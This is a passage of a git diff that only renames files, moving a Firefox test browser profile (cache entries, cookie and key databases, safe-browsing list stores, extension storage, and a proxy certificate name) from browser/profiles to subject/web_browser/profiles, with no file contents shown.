b/subject/web_browser/profiles/firefox/tp-67/cache2/entries/90942E3BB93C76DCD57A8404751979F24237E461 similarity index 100% rename from browser/profiles/firefox/tp-67/cache2/entries/90942E3BB93C76DCD57A8404751979F24237E461 rename to subject/web_browser/profiles/firefox/tp-67/cache2/entries/90942E3BB93C76DCD57A8404751979F24237E461 diff --git a/browser/profiles/firefox/tp-67/cache2/entries/C1B855C8AA28C1F63F205F3DDFA2E60618BEF246 b/subject/web_browser/profiles/firefox/tp-67/cache2/entries/C1B855C8AA28C1F63F205F3DDFA2E60618BEF246 similarity index 100% rename from browser/profiles/firefox/tp-67/cache2/entries/C1B855C8AA28C1F63F205F3DDFA2E60618BEF246 rename to subject/web_browser/profiles/firefox/tp-67/cache2/entries/C1B855C8AA28C1F63F205F3DDFA2E60618BEF246 diff --git a/browser/profiles/firefox/tp-67/cache2/entries/CD029054D4F0EED4C7FCBE28737398A0390D94A1 b/subject/web_browser/profiles/firefox/tp-67/cache2/entries/CD029054D4F0EED4C7FCBE28737398A0390D94A1 similarity index 100% rename from browser/profiles/firefox/tp-67/cache2/entries/CD029054D4F0EED4C7FCBE28737398A0390D94A1 rename to subject/web_browser/profiles/firefox/tp-67/cache2/entries/CD029054D4F0EED4C7FCBE28737398A0390D94A1 diff --git a/browser/profiles/firefox/tp-67/cache2/entries/CDF359E63200C01C1961DA51E2DC1A04CDBFB351 b/subject/web_browser/profiles/firefox/tp-67/cache2/entries/CDF359E63200C01C1961DA51E2DC1A04CDBFB351 similarity index 100% rename from browser/profiles/firefox/tp-67/cache2/entries/CDF359E63200C01C1961DA51E2DC1A04CDBFB351 rename to subject/web_browser/profiles/firefox/tp-67/cache2/entries/CDF359E63200C01C1961DA51E2DC1A04CDBFB351 diff --git a/browser/profiles/firefox/tp-67/cache2/entries/CE51140804341A3CCCDE319D8DA0C1A165F5F7D2 b/subject/web_browser/profiles/firefox/tp-67/cache2/entries/CE51140804341A3CCCDE319D8DA0C1A165F5F7D2 similarity index 100% rename from browser/profiles/firefox/tp-67/cache2/entries/CE51140804341A3CCCDE319D8DA0C1A165F5F7D2 rename to subject/web_browser/profiles/firefox/tp-67/cache2/entries/CE51140804341A3CCCDE319D8DA0C1A165F5F7D2 diff --git a/browser/profiles/firefox/tp-67/cache2/entries/D98934943E3004893D6D395A6C4ABC1B4C6C9EB8 b/subject/web_browser/profiles/firefox/tp-67/cache2/entries/D98934943E3004893D6D395A6C4ABC1B4C6C9EB8 similarity index 100% rename from browser/profiles/firefox/tp-67/cache2/entries/D98934943E3004893D6D395A6C4ABC1B4C6C9EB8 rename to subject/web_browser/profiles/firefox/tp-67/cache2/entries/D98934943E3004893D6D395A6C4ABC1B4C6C9EB8 diff --git a/browser/profiles/firefox/tp-67/cache2/entries/E21F074DBAD1CB7994F383C419228B689766FB1C b/subject/web_browser/profiles/firefox/tp-67/cache2/entries/E21F074DBAD1CB7994F383C419228B689766FB1C similarity index 100% rename from browser/profiles/firefox/tp-67/cache2/entries/E21F074DBAD1CB7994F383C419228B689766FB1C rename to subject/web_browser/profiles/firefox/tp-67/cache2/entries/E21F074DBAD1CB7994F383C419228B689766FB1C diff --git a/browser/profiles/firefox/tp-67/cert9.db b/subject/web_browser/profiles/firefox/tp-67/cert9.db similarity index 100% rename from browser/profiles/firefox/tp-67/cert9.db rename to subject/web_browser/profiles/firefox/tp-67/cert9.db diff --git a/browser/profiles/firefox/tp-67/compatibility.ini b/subject/web_browser/profiles/firefox/tp-67/compatibility.ini similarity index 100% rename from browser/profiles/firefox/tp-67/compatibility.ini rename to subject/web_browser/profiles/firefox/tp-67/compatibility.ini diff --git a/browser/profiles/firefox/tp-67/content-prefs.sqlite b/subject/web_browser/profiles/firefox/tp-67/content-prefs.sqlite similarity index 100% rename from browser/profiles/firefox/tp-67/content-prefs.sqlite rename to subject/web_browser/profiles/firefox/tp-67/content-prefs.sqlite diff --git a/browser/profiles/firefox/tp-67/cookies.sqlite b/subject/web_browser/profiles/firefox/tp-67/cookies.sqlite similarity index 100% rename from browser/profiles/firefox/tp-67/cookies.sqlite rename to subject/web_browser/profiles/firefox/tp-67/cookies.sqlite diff --git a/browser/profiles/firefox/tp-67/cookies.sqlite-wal b/subject/web_browser/profiles/firefox/tp-67/cookies.sqlite-wal similarity index 100% rename from browser/profiles/firefox/tp-67/cookies.sqlite-wal rename to subject/web_browser/profiles/firefox/tp-67/cookies.sqlite-wal diff --git a/browser/profiles/firefox/tp-67/datareporting/state.json b/subject/web_browser/profiles/firefox/tp-67/datareporting/state.json similarity index 100% rename from browser/profiles/firefox/tp-67/datareporting/state.json rename to subject/web_browser/profiles/firefox/tp-67/datareporting/state.json diff --git a/browser/profiles/firefox/tp-67/extension-preferences.json b/subject/web_browser/profiles/firefox/tp-67/extension-preferences.json similarity index 100% rename from browser/profiles/firefox/tp-67/extension-preferences.json rename to subject/web_browser/profiles/firefox/tp-67/extension-preferences.json diff --git a/browser/profiles/firefox/tp-67/extensions.json b/subject/web_browser/profiles/firefox/tp-67/extensions.json similarity index 100% rename from browser/profiles/firefox/tp-67/extensions.json rename to subject/web_browser/profiles/firefox/tp-67/extensions.json diff --git a/browser/profiles/firefox/tp-67/favicons.sqlite b/subject/web_browser/profiles/firefox/tp-67/favicons.sqlite similarity index 100% rename from browser/profiles/firefox/tp-67/favicons.sqlite rename to subject/web_browser/profiles/firefox/tp-67/favicons.sqlite diff --git a/browser/profiles/firefox/tp-67/favicons.sqlite-wal b/subject/web_browser/profiles/firefox/tp-67/favicons.sqlite-wal similarity index 100% rename from browser/profiles/firefox/tp-67/favicons.sqlite-wal rename to subject/web_browser/profiles/firefox/tp-67/favicons.sqlite-wal diff --git a/browser/profiles/firefox/tp-67/handlers.json b/subject/web_browser/profiles/firefox/tp-67/handlers.json similarity index 100% rename from browser/profiles/firefox/tp-67/handlers.json rename to subject/web_browser/profiles/firefox/tp-67/handlers.json diff --git a/browser/profiles/firefox/tp-67/key4.db b/subject/web_browser/profiles/firefox/tp-67/key4.db similarity index 100% rename from browser/profiles/firefox/tp-67/key4.db rename to subject/web_browser/profiles/firefox/tp-67/key4.db diff --git a/browser/profiles/firefox/tp-67/permissions.sqlite b/subject/web_browser/profiles/firefox/tp-67/permissions.sqlite similarity index 100% rename from browser/profiles/firefox/tp-67/permissions.sqlite rename to subject/web_browser/profiles/firefox/tp-67/permissions.sqlite diff --git a/browser/profiles/firefox/tp-67/pkcs11.txt b/subject/web_browser/profiles/firefox/tp-67/pkcs11.txt similarity index 100% rename from browser/profiles/firefox/tp-67/pkcs11.txt rename to subject/web_browser/profiles/firefox/tp-67/pkcs11.txt diff --git a/browser/profiles/firefox/tp-67/places.sqlite b/subject/web_browser/profiles/firefox/tp-67/places.sqlite similarity index 100% rename from browser/profiles/firefox/tp-67/places.sqlite rename to subject/web_browser/profiles/firefox/tp-67/places.sqlite diff --git a/browser/profiles/firefox/tp-67/places.sqlite-wal b/subject/web_browser/profiles/firefox/tp-67/places.sqlite-wal similarity index 100% rename from browser/profiles/firefox/tp-67/places.sqlite-wal rename to subject/web_browser/profiles/firefox/tp-67/places.sqlite-wal diff --git a/browser/profiles/firefox/tp-67/prefs.js b/subject/web_browser/profiles/firefox/tp-67/prefs.js similarity index 100% rename from browser/profiles/firefox/tp-67/prefs.js rename to subject/web_browser/profiles/firefox/tp-67/prefs.js diff --git a/browser/profiles/firefox/tp-67/safebrowsing-updating/base-track-digest256.pset b/subject/web_browser/profiles/firefox/tp-67/safebrowsing-updating/base-track-digest256.pset similarity index 100% rename from browser/profiles/firefox/tp-67/safebrowsing-updating/base-track-digest256.pset rename to subject/web_browser/profiles/firefox/tp-67/safebrowsing-updating/base-track-digest256.pset diff --git a/browser/profiles/firefox/tp-67/safebrowsing-updating/base-track-digest256.sbstore b/subject/web_browser/profiles/firefox/tp-67/safebrowsing-updating/base-track-digest256.sbstore similarity index 100% rename from browser/profiles/firefox/tp-67/safebrowsing-updating/base-track-digest256.sbstore rename to subject/web_browser/profiles/firefox/tp-67/safebrowsing-updating/base-track-digest256.sbstore diff --git a/browser/profiles/firefox/tp-67/safebrowsing-updating/content-track-digest256.pset b/subject/web_browser/profiles/firefox/tp-67/safebrowsing-updating/content-track-digest256.pset similarity index 100% rename from browser/profiles/firefox/tp-67/safebrowsing-updating/content-track-digest256.pset rename to subject/web_browser/profiles/firefox/tp-67/safebrowsing-updating/content-track-digest256.pset diff --git a/browser/profiles/firefox/tp-67/safebrowsing-updating/content-track-digest256.sbstore b/subject/web_browser/profiles/firefox/tp-67/safebrowsing-updating/content-track-digest256.sbstore similarity index 100% rename from browser/profiles/firefox/tp-67/safebrowsing-updating/content-track-digest256.sbstore rename to subject/web_browser/profiles/firefox/tp-67/safebrowsing-updating/content-track-digest256.sbstore diff --git a/browser/profiles/firefox/tp-67/safebrowsing-updating/mozplugin-block-digest256.pset b/subject/web_browser/profiles/firefox/tp-67/safebrowsing-updating/mozplugin-block-digest256.pset similarity index 100% rename from browser/profiles/firefox/tp-67/safebrowsing-updating/mozplugin-block-digest256.pset rename to subject/web_browser/profiles/firefox/tp-67/safebrowsing-updating/mozplugin-block-digest256.pset diff --git a/browser/profiles/firefox/tp-67/safebrowsing-updating/mozplugin-block-digest256.sbstore b/subject/web_browser/profiles/firefox/tp-67/safebrowsing-updating/mozplugin-block-digest256.sbstore similarity index 100% rename from browser/profiles/firefox/tp-67/safebrowsing-updating/mozplugin-block-digest256.sbstore rename to subject/web_browser/profiles/firefox/tp-67/safebrowsing-updating/mozplugin-block-digest256.sbstore diff --git a/browser/profiles/firefox/tp-67/safebrowsing-updating/mozstd-trackwhite-digest256.sbstore b/subject/web_browser/profiles/firefox/tp-67/safebrowsing-updating/mozstd-trackwhite-digest256.sbstore similarity index 100% rename from browser/profiles/firefox/tp-67/safebrowsing-updating/mozstd-trackwhite-digest256.sbstore rename to subject/web_browser/profiles/firefox/tp-67/safebrowsing-updating/mozstd-trackwhite-digest256.sbstore diff --git a/browser/profiles/firefox/tp-67/safebrowsing-updating/test-block-simple.pset b/subject/web_browser/profiles/firefox/tp-67/safebrowsing-updating/test-block-simple.pset similarity index 100% rename from browser/profiles/firefox/tp-67/safebrowsing-updating/test-block-simple.pset rename to subject/web_browser/profiles/firefox/tp-67/safebrowsing-updating/test-block-simple.pset diff --git a/browser/profiles/firefox/tp-67/safebrowsing-updating/test-block-simple.sbstore b/subject/web_browser/profiles/firefox/tp-67/safebrowsing-updating/test-block-simple.sbstore similarity index 100% rename from browser/profiles/firefox/tp-67/safebrowsing-updating/test-block-simple.sbstore rename to subject/web_browser/profiles/firefox/tp-67/safebrowsing-updating/test-block-simple.sbstore diff --git a/browser/profiles/firefox/tp-67/safebrowsing-updating/test-harmful-simple.pset b/subject/web_browser/profiles/firefox/tp-67/safebrowsing-updating/test-harmful-simple.pset similarity index 100% rename from browser/profiles/firefox/tp-67/safebrowsing-updating/test-harmful-simple.pset rename to subject/web_browser/profiles/firefox/tp-67/safebrowsing-updating/test-harmful-simple.pset diff --git a/browser/profiles/firefox/tp-67/safebrowsing-updating/test-harmful-simple.sbstore b/subject/web_browser/profiles/firefox/tp-67/safebrowsing-updating/test-harmful-simple.sbstore similarity index 100% rename from browser/profiles/firefox/tp-67/safebrowsing-updating/test-harmful-simple.sbstore rename to subject/web_browser/profiles/firefox/tp-67/safebrowsing-updating/test-harmful-simple.sbstore diff --git a/browser/profiles/firefox/tp-67/safebrowsing-updating/test-malware-simple.pset b/subject/web_browser/profiles/firefox/tp-67/safebrowsing-updating/test-malware-simple.pset similarity index 100% rename from browser/profiles/firefox/tp-67/safebrowsing-updating/test-malware-simple.pset rename to subject/web_browser/profiles/firefox/tp-67/safebrowsing-updating/test-malware-simple.pset diff --git a/browser/profiles/firefox/tp-67/safebrowsing-updating/test-malware-simple.sbstore b/subject/web_browser/profiles/firefox/tp-67/safebrowsing-updating/test-malware-simple.sbstore similarity index 100% rename from browser/profiles/firefox/tp-67/safebrowsing-updating/test-malware-simple.sbstore rename to subject/web_browser/profiles/firefox/tp-67/safebrowsing-updating/test-malware-simple.sbstore diff --git a/browser/profiles/firefox/tp-67/safebrowsing-updating/test-phish-simple.pset b/subject/web_browser/profiles/firefox/tp-67/safebrowsing-updating/test-phish-simple.pset similarity index 100% rename from browser/profiles/firefox/tp-67/safebrowsing-updating/test-phish-simple.pset rename to subject/web_browser/profiles/firefox/tp-67/safebrowsing-updating/test-phish-simple.pset diff --git a/browser/profiles/firefox/tp-67/safebrowsing-updating/test-phish-simple.sbstore b/subject/web_browser/profiles/firefox/tp-67/safebrowsing-updating/test-phish-simple.sbstore similarity index 100% rename from browser/profiles/firefox/tp-67/safebrowsing-updating/test-phish-simple.sbstore rename to subject/web_browser/profiles/firefox/tp-67/safebrowsing-updating/test-phish-simple.sbstore diff --git a/browser/profiles/firefox/tp-67/safebrowsing-updating/test-track-simple.pset b/subject/web_browser/profiles/firefox/tp-67/safebrowsing-updating/test-track-simple.pset similarity index 100% rename from browser/profiles/firefox/tp-67/safebrowsing-updating/test-track-simple.pset rename to subject/web_browser/profiles/firefox/tp-67/safebrowsing-updating/test-track-simple.pset diff --git a/browser/profiles/firefox/tp-67/safebrowsing-updating/test-track-simple.sbstore b/subject/web_browser/profiles/firefox/tp-67/safebrowsing-updating/test-track-simple.sbstore similarity index 100% rename from browser/profiles/firefox/tp-67/safebrowsing-updating/test-track-simple.sbstore rename to subject/web_browser/profiles/firefox/tp-67/safebrowsing-updating/test-track-simple.sbstore diff --git a/browser/profiles/firefox/tp-67/safebrowsing-updating/test-trackwhite-simple.pset b/subject/web_browser/profiles/firefox/tp-67/safebrowsing-updating/test-trackwhite-simple.pset similarity index 100% rename from browser/profiles/firefox/tp-67/safebrowsing-updating/test-trackwhite-simple.pset rename to subject/web_browser/profiles/firefox/tp-67/safebrowsing-updating/test-trackwhite-simple.pset diff --git a/browser/profiles/firefox/tp-67/safebrowsing-updating/test-trackwhite-simple.sbstore b/subject/web_browser/profiles/firefox/tp-67/safebrowsing-updating/test-trackwhite-simple.sbstore similarity index 100% rename from browser/profiles/firefox/tp-67/safebrowsing-updating/test-trackwhite-simple.sbstore rename to subject/web_browser/profiles/firefox/tp-67/safebrowsing-updating/test-trackwhite-simple.sbstore diff --git a/browser/profiles/firefox/tp-67/safebrowsing-updating/test-unwanted-simple.pset b/subject/web_browser/profiles/firefox/tp-67/safebrowsing-updating/test-unwanted-simple.pset similarity index 100% rename from browser/profiles/firefox/tp-67/safebrowsing-updating/test-unwanted-simple.pset rename to subject/web_browser/profiles/firefox/tp-67/safebrowsing-updating/test-unwanted-simple.pset diff --git a/browser/profiles/firefox/tp-67/safebrowsing-updating/test-unwanted-simple.sbstore b/subject/web_browser/profiles/firefox/tp-67/safebrowsing-updating/test-unwanted-simple.sbstore similarity index 100% rename from browser/profiles/firefox/tp-67/safebrowsing-updating/test-unwanted-simple.sbstore rename to subject/web_browser/profiles/firefox/tp-67/safebrowsing-updating/test-unwanted-simple.sbstore diff --git a/browser/profiles/firefox/tp-67/safebrowsing/test-block-simple.pset b/subject/web_browser/profiles/firefox/tp-67/safebrowsing/test-block-simple.pset similarity index 100% rename from browser/profiles/firefox/tp-67/safebrowsing/test-block-simple.pset rename to subject/web_browser/profiles/firefox/tp-67/safebrowsing/test-block-simple.pset diff --git a/browser/profiles/firefox/tp-67/safebrowsing/test-block-simple.sbstore b/subject/web_browser/profiles/firefox/tp-67/safebrowsing/test-block-simple.sbstore similarity index 100% rename from browser/profiles/firefox/tp-67/safebrowsing/test-block-simple.sbstore rename to subject/web_browser/profiles/firefox/tp-67/safebrowsing/test-block-simple.sbstore diff --git a/browser/profiles/firefox/tp-67/safebrowsing/test-harmful-simple.pset b/subject/web_browser/profiles/firefox/tp-67/safebrowsing/test-harmful-simple.pset similarity index 100% rename from browser/profiles/firefox/tp-67/safebrowsing/test-harmful-simple.pset rename to subject/web_browser/profiles/firefox/tp-67/safebrowsing/test-harmful-simple.pset diff --git a/browser/profiles/firefox/tp-67/safebrowsing/test-harmful-simple.sbstore b/subject/web_browser/profiles/firefox/tp-67/safebrowsing/test-harmful-simple.sbstore similarity index 100% rename from browser/profiles/firefox/tp-67/safebrowsing/test-harmful-simple.sbstore rename to subject/web_browser/profiles/firefox/tp-67/safebrowsing/test-harmful-simple.sbstore diff --git a/browser/profiles/firefox/tp-67/safebrowsing/test-malware-simple.pset b/subject/web_browser/profiles/firefox/tp-67/safebrowsing/test-malware-simple.pset similarity index 100% rename from browser/profiles/firefox/tp-67/safebrowsing/test-malware-simple.pset rename to subject/web_browser/profiles/firefox/tp-67/safebrowsing/test-malware-simple.pset diff --git a/browser/profiles/firefox/tp-67/safebrowsing/test-malware-simple.sbstore b/subject/web_browser/profiles/firefox/tp-67/safebrowsing/test-malware-simple.sbstore similarity index 100% rename from browser/profiles/firefox/tp-67/safebrowsing/test-malware-simple.sbstore rename to subject/web_browser/profiles/firefox/tp-67/safebrowsing/test-malware-simple.sbstore diff --git a/browser/profiles/firefox/tp-67/safebrowsing/test-phish-simple.pset b/subject/web_browser/profiles/firefox/tp-67/safebrowsing/test-phish-simple.pset similarity index 100% rename from browser/profiles/firefox/tp-67/safebrowsing/test-phish-simple.pset rename to subject/web_browser/profiles/firefox/tp-67/safebrowsing/test-phish-simple.pset diff --git a/browser/profiles/firefox/tp-67/safebrowsing/test-phish-simple.sbstore b/subject/web_browser/profiles/firefox/tp-67/safebrowsing/test-phish-simple.sbstore similarity index 100% rename from browser/profiles/firefox/tp-67/safebrowsing/test-phish-simple.sbstore rename to subject/web_browser/profiles/firefox/tp-67/safebrowsing/test-phish-simple.sbstore diff --git a/browser/profiles/firefox/tp-67/safebrowsing/test-track-simple.pset b/subject/web_browser/profiles/firefox/tp-67/safebrowsing/test-track-simple.pset similarity index 100% rename from browser/profiles/firefox/tp-67/safebrowsing/test-track-simple.pset rename to subject/web_browser/profiles/firefox/tp-67/safebrowsing/test-track-simple.pset diff --git a/browser/profiles/firefox/tp-67/safebrowsing/test-track-simple.sbstore b/subject/web_browser/profiles/firefox/tp-67/safebrowsing/test-track-simple.sbstore similarity index 100% rename from browser/profiles/firefox/tp-67/safebrowsing/test-track-simple.sbstore rename to subject/web_browser/profiles/firefox/tp-67/safebrowsing/test-track-simple.sbstore diff --git a/browser/profiles/firefox/tp-67/safebrowsing/test-trackwhite-simple.pset b/subject/web_browser/profiles/firefox/tp-67/safebrowsing/test-trackwhite-simple.pset similarity index 100% rename from browser/profiles/firefox/tp-67/safebrowsing/test-trackwhite-simple.pset rename to subject/web_browser/profiles/firefox/tp-67/safebrowsing/test-trackwhite-simple.pset diff --git a/browser/profiles/firefox/tp-67/safebrowsing/test-trackwhite-simple.sbstore b/subject/web_browser/profiles/firefox/tp-67/safebrowsing/test-trackwhite-simple.sbstore similarity index 100% rename from browser/profiles/firefox/tp-67/safebrowsing/test-trackwhite-simple.sbstore rename to subject/web_browser/profiles/firefox/tp-67/safebrowsing/test-trackwhite-simple.sbstore diff --git a/browser/profiles/firefox/tp-67/safebrowsing/test-unwanted-simple.pset b/subject/web_browser/profiles/firefox/tp-67/safebrowsing/test-unwanted-simple.pset similarity index 100% rename from browser/profiles/firefox/tp-67/safebrowsing/test-unwanted-simple.pset rename to subject/web_browser/profiles/firefox/tp-67/safebrowsing/test-unwanted-simple.pset diff --git a/browser/profiles/firefox/tp-67/safebrowsing/test-unwanted-simple.sbstore b/subject/web_browser/profiles/firefox/tp-67/safebrowsing/test-unwanted-simple.sbstore similarity index 100% rename from browser/profiles/firefox/tp-67/safebrowsing/test-unwanted-simple.sbstore rename to subject/web_browser/profiles/firefox/tp-67/safebrowsing/test-unwanted-simple.sbstore diff --git a/browser/profiles/firefox/tp-67/search.json.mozlz4 b/subject/web_browser/profiles/firefox/tp-67/search.json.mozlz4 similarity index 100% rename from browser/profiles/firefox/tp-67/search.json.mozlz4 rename to subject/web_browser/profiles/firefox/tp-67/search.json.mozlz4 diff --git a/browser/profiles/firefox/tp-67/sessionCheckpoints.json b/subject/web_browser/profiles/firefox/tp-67/sessionCheckpoints.json similarity index 100% rename from browser/profiles/firefox/tp-67/sessionCheckpoints.json rename to subject/web_browser/profiles/firefox/tp-67/sessionCheckpoints.json diff --git a/browser/profiles/firefox/tp-67/storage.sqlite b/subject/web_browser/profiles/firefox/tp-67/storage.sqlite similarity index 100% rename from browser/profiles/firefox/tp-67/storage.sqlite rename to subject/web_browser/profiles/firefox/tp-67/storage.sqlite diff --git a/browser/profiles/firefox/tp-67/storage/default/moz-extension+++f6807a1f-398a-4283-8ffc-e3084fcec31c^userContextId=4294967295/.metadata b/subject/web_browser/profiles/firefox/tp-67/storage/default/moz-extension+++f6807a1f-398a-4283-8ffc-e3084fcec31c^userContextId=4294967295/.metadata similarity index 100% rename from browser/profiles/firefox/tp-67/storage/default/moz-extension+++f6807a1f-398a-4283-8ffc-e3084fcec31c^userContextId=4294967295/.metadata rename to subject/web_browser/profiles/firefox/tp-67/storage/default/moz-extension+++f6807a1f-398a-4283-8ffc-e3084fcec31c^userContextId=4294967295/.metadata diff --git a/browser/profiles/firefox/tp-67/storage/default/moz-extension+++f6807a1f-398a-4283-8ffc-e3084fcec31c^userContextId=4294967295/.metadata-v2 b/subject/web_browser/profiles/firefox/tp-67/storage/default/moz-extension+++f6807a1f-398a-4283-8ffc-e3084fcec31c^userContextId=4294967295/.metadata-v2 similarity index 100% rename from browser/profiles/firefox/tp-67/storage/default/moz-extension+++f6807a1f-398a-4283-8ffc-e3084fcec31c^userContextId=4294967295/.metadata-v2 rename to subject/web_browser/profiles/firefox/tp-67/storage/default/moz-extension+++f6807a1f-398a-4283-8ffc-e3084fcec31c^userContextId=4294967295/.metadata-v2 diff --git a/browser/profiles/firefox/tp-67/storage/default/moz-extension+++f6807a1f-398a-4283-8ffc-e3084fcec31c^userContextId=4294967295/idb/3647222921wleabcEoxlt-eengsairo.sqlite b/subject/web_browser/profiles/firefox/tp-67/storage/default/moz-extension+++f6807a1f-398a-4283-8ffc-e3084fcec31c^userContextId=4294967295/idb/3647222921wleabcEoxlt-eengsairo.sqlite similarity index 100% rename from browser/profiles/firefox/tp-67/storage/default/moz-extension+++f6807a1f-398a-4283-8ffc-e3084fcec31c^userContextId=4294967295/idb/3647222921wleabcEoxlt-eengsairo.sqlite rename to subject/web_browser/profiles/firefox/tp-67/storage/default/moz-extension+++f6807a1f-398a-4283-8ffc-e3084fcec31c^userContextId=4294967295/idb/3647222921wleabcEoxlt-eengsairo.sqlite diff --git a/browser/profiles/firefox/tp-67/storage/default/moz-extension+++f6807a1f-398a-4283-8ffc-e3084fcec31c^userContextId=4294967295/idb/3647222921wleabcEoxlt-eengsairo.sqlite-wal b/subject/web_browser/profiles/firefox/tp-67/storage/default/moz-extension+++f6807a1f-398a-4283-8ffc-e3084fcec31c^userContextId=4294967295/idb/3647222921wleabcEoxlt-eengsairo.sqlite-wal similarity index 100% rename from browser/profiles/firefox/tp-67/storage/default/moz-extension+++f6807a1f-398a-4283-8ffc-e3084fcec31c^userContextId=4294967295/idb/3647222921wleabcEoxlt-eengsairo.sqlite-wal rename to subject/web_browser/profiles/firefox/tp-67/storage/default/moz-extension+++f6807a1f-398a-4283-8ffc-e3084fcec31c^userContextId=4294967295/idb/3647222921wleabcEoxlt-eengsairo.sqlite-wal diff --git a/browser/profiles/firefox/tp-67/storage/ls-archive.sqlite b/subject/web_browser/profiles/firefox/tp-67/storage/ls-archive.sqlite similarity index 100% rename from browser/profiles/firefox/tp-67/storage/ls-archive.sqlite rename to subject/web_browser/profiles/firefox/tp-67/storage/ls-archive.sqlite diff --git a/browser/profiles/firefox/tp-67/storage/permanent/chrome/.metadata b/subject/web_browser/profiles/firefox/tp-67/storage/permanent/chrome/.metadata similarity index 100% rename from browser/profiles/firefox/tp-67/storage/permanent/chrome/.metadata rename to subject/web_browser/profiles/firefox/tp-67/storage/permanent/chrome/.metadata diff --git a/browser/profiles/firefox/tp-67/storage/permanent/chrome/.metadata-v2 b/subject/web_browser/profiles/firefox/tp-67/storage/permanent/chrome/.metadata-v2 similarity index 100% rename from browser/profiles/firefox/tp-67/storage/permanent/chrome/.metadata-v2 rename to subject/web_browser/profiles/firefox/tp-67/storage/permanent/chrome/.metadata-v2 diff --git a/browser/profiles/firefox/tp-67/storage/permanent/chrome/idb/1451318868ntouromlalnodry--epcr.sqlite b/subject/web_browser/profiles/firefox/tp-67/storage/permanent/chrome/idb/1451318868ntouromlalnodry--epcr.sqlite similarity index 100% rename from browser/profiles/firefox/tp-67/storage/permanent/chrome/idb/1451318868ntouromlalnodry--epcr.sqlite rename to subject/web_browser/profiles/firefox/tp-67/storage/permanent/chrome/idb/1451318868ntouromlalnodry--epcr.sqlite diff --git a/browser/profiles/firefox/tp-67/storage/permanent/chrome/idb/1451318868ntouromlalnodry--epcr.sqlite-wal b/subject/web_browser/profiles/firefox/tp-67/storage/permanent/chrome/idb/1451318868ntouromlalnodry--epcr.sqlite-wal similarity index 100% rename from browser/profiles/firefox/tp-67/storage/permanent/chrome/idb/1451318868ntouromlalnodry--epcr.sqlite-wal rename to subject/web_browser/profiles/firefox/tp-67/storage/permanent/chrome/idb/1451318868ntouromlalnodry--epcr.sqlite-wal diff --git a/browser/profiles/firefox/tp-67/storage/permanent/chrome/idb/1657114595AmcateirvtiSty.sqlite b/subject/web_browser/profiles/firefox/tp-67/storage/permanent/chrome/idb/1657114595AmcateirvtiSty.sqlite similarity index 100% rename from browser/profiles/firefox/tp-67/storage/permanent/chrome/idb/1657114595AmcateirvtiSty.sqlite rename to subject/web_browser/profiles/firefox/tp-67/storage/permanent/chrome/idb/1657114595AmcateirvtiSty.sqlite diff --git a/browser/profiles/firefox/tp-67/storage/permanent/chrome/idb/1657114595AmcateirvtiSty.sqlite-wal b/subject/web_browser/profiles/firefox/tp-67/storage/permanent/chrome/idb/1657114595AmcateirvtiSty.sqlite-wal similarity index 100% rename from browser/profiles/firefox/tp-67/storage/permanent/chrome/idb/1657114595AmcateirvtiSty.sqlite-wal rename to subject/web_browser/profiles/firefox/tp-67/storage/permanent/chrome/idb/1657114595AmcateirvtiSty.sqlite-wal diff --git a/browser/profiles/firefox/tp-67/storage/permanent/chrome/idb/2918063365piupsah.sqlite b/subject/web_browser/profiles/firefox/tp-67/storage/permanent/chrome/idb/2918063365piupsah.sqlite similarity index 100% rename from browser/profiles/firefox/tp-67/storage/permanent/chrome/idb/2918063365piupsah.sqlite rename to subject/web_browser/profiles/firefox/tp-67/storage/permanent/chrome/idb/2918063365piupsah.sqlite diff --git a/browser/profiles/firefox/tp-67/storage/permanent/chrome/idb/2918063365piupsah.sqlite-wal b/subject/web_browser/profiles/firefox/tp-67/storage/permanent/chrome/idb/2918063365piupsah.sqlite-wal similarity index 100% rename from browser/profiles/firefox/tp-67/storage/permanent/chrome/idb/2918063365piupsah.sqlite-wal rename to subject/web_browser/profiles/firefox/tp-67/storage/permanent/chrome/idb/2918063365piupsah.sqlite-wal diff --git a/browser/profiles/firefox/tp-67/storage/permanent/chrome/idb/3561288849sdhlie.sqlite b/subject/web_browser/profiles/firefox/tp-67/storage/permanent/chrome/idb/3561288849sdhlie.sqlite similarity index 100% rename from browser/profiles/firefox/tp-67/storage/permanent/chrome/idb/3561288849sdhlie.sqlite rename to subject/web_browser/profiles/firefox/tp-67/storage/permanent/chrome/idb/3561288849sdhlie.sqlite diff --git a/browser/profiles/firefox/tp-67/storage/permanent/chrome/idb/3561288849sdhlie.sqlite-wal b/subject/web_browser/profiles/firefox/tp-67/storage/permanent/chrome/idb/3561288849sdhlie.sqlite-wal similarity index 100% rename from browser/profiles/firefox/tp-67/storage/permanent/chrome/idb/3561288849sdhlie.sqlite-wal rename to subject/web_browser/profiles/firefox/tp-67/storage/permanent/chrome/idb/3561288849sdhlie.sqlite-wal diff --git a/browser/profiles/firefox/tp-67/storage/permanent/chrome/idb/3870112724rsegmnoittet-es.sqlite b/subject/web_browser/profiles/firefox/tp-67/storage/permanent/chrome/idb/3870112724rsegmnoittet-es.sqlite similarity index 100% rename from browser/profiles/firefox/tp-67/storage/permanent/chrome/idb/3870112724rsegmnoittet-es.sqlite rename to subject/web_browser/profiles/firefox/tp-67/storage/permanent/chrome/idb/3870112724rsegmnoittet-es.sqlite diff --git a/browser/profiles/firefox/tp-67/storage/permanent/chrome/idb/3870112724rsegmnoittet-es.sqlite-wal b/subject/web_browser/profiles/firefox/tp-67/storage/permanent/chrome/idb/3870112724rsegmnoittet-es.sqlite-wal similarity index 100% rename from browser/profiles/firefox/tp-67/storage/permanent/chrome/idb/3870112724rsegmnoittet-es.sqlite-wal rename to subject/web_browser/profiles/firefox/tp-67/storage/permanent/chrome/idb/3870112724rsegmnoittet-es.sqlite-wal diff --git a/browser/profiles/firefox/tp-67/times.json b/subject/web_browser/profiles/firefox/tp-67/times.json similarity index 100% rename from browser/profiles/firefox/tp-67/times.json rename to subject/web_browser/profiles/firefox/tp-67/times.json diff --git a/browser/profiles/firefox2/LittleProxy_MITM.cer b/subject/web_browser/profiles/firefox2/LittleProxy_MITM.cer similarity index 100% rename from browser/profiles/firefox2/LittleProxy_MITM.cer rename to subject/web_browser/profiles/firefox2/LittleProxy_MITM.cer diff --git a/browser/profiles/firefox2/tp-67/.parentlock b/subject/web_browser/profiles/firefox2/tp-67/.parentlock similarity index 100% rename from browser/profiles/firefox2/tp-67/.parentlock rename to subject/web_browser/profiles/firefox2/tp-67/.parentlock diff --git a/browser/profiles/firefox2/tp-67/.startup-incomplete b/subject/web_browser/profiles/firefox2/tp-67/.startup-incomplete similarity index 100% rename from browser/profiles/firefox2/tp-67/.startup-incomplete rename to 